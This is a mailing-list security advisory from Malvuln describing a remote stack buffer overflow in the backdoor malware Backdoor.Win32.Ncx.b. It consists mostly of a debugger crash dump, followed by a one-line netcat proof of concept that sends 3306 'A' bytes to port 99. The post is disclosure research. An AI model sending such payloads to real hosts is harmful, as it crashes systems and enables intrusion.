Date: Sat, 11 Dec 2021 16:22:36 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Ncx.b / Remote Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/991c1f02c809cee860cb712896a45338_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Ncx.b
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 99. Third-party attackers who
can reach an infected system can send a large junk payload and trigger a
classic stack buffer overflow overwriting the EIP, ECX registers.
Type: PE32
MD5: 991c1f02c809cee860cb712896a45338
Vuln ID: MVID-2021-0422
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 12/11/2021

Memory Dump:
(f40.12a4): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000
edi=00000000
eip=41414141 esp=03051660 ebp=03051680 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???

0:003> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000
edi=00000000
eip=41414141 esp=03051660 ebp=03051680 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???
0:003> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe

FAULTING_IP:
Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555
00401555 88443418        mov     byte ptr [esp+esi+18h],al

EXCEPTION_RECORD:  0314f9f4 -- (.exr 0x314f9f4)
ExceptionAddress: 00401555
(Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x00001555)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 03150000
Attempt to write to address 03150000

PROCESS_NAME:  Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+1555
00401555 88443418        mov     byte ptr [esp+esi+18h],al

FAILED_INSTRUCTION_ADDRESS:
+1555
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  027d0b40
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0314fa44 -- (.cxr 0x314fa44)
eax=00000041 ebx=7745e250 ecx=5804cfad edx=0314fdc4 esi=00000144
edi=027d0b40
eip=00401555 esp=0314fea4 ebp=740a1e90 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338+0x1555:
00401555 88443418        mov     byte ptr [esp+esi+18h],al
 ss:002b:03150000=??
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:
 STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 027d0b40 to 00401555

FRAME_ONE_INVALID: 1

STACK_TEXT:
0314fea4 00401555 backdoor_win32_ncx_b+0x1555
0314fea8 027d0b40 unknown!unknown+0x0


STACK_COMMAND:  .cxr 000000000314FA44 ; kb ; dds 314fea4 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  backdoor_win32_ncx_b+1555

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Ncx_b_991c1f02c809cee860cb712896a45338

IMAGE_NAME:  Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  34ae8eb9

BUCKET_ID:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_b+1555

FAILURE_BUCKET_ID:
 STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.b.991c1f02c809cee860cb712896a45338.exe!Unknown


Exploit/PoC:
python -c "print('A'*3306)" | nc64.exe MALWARE_HOST 99


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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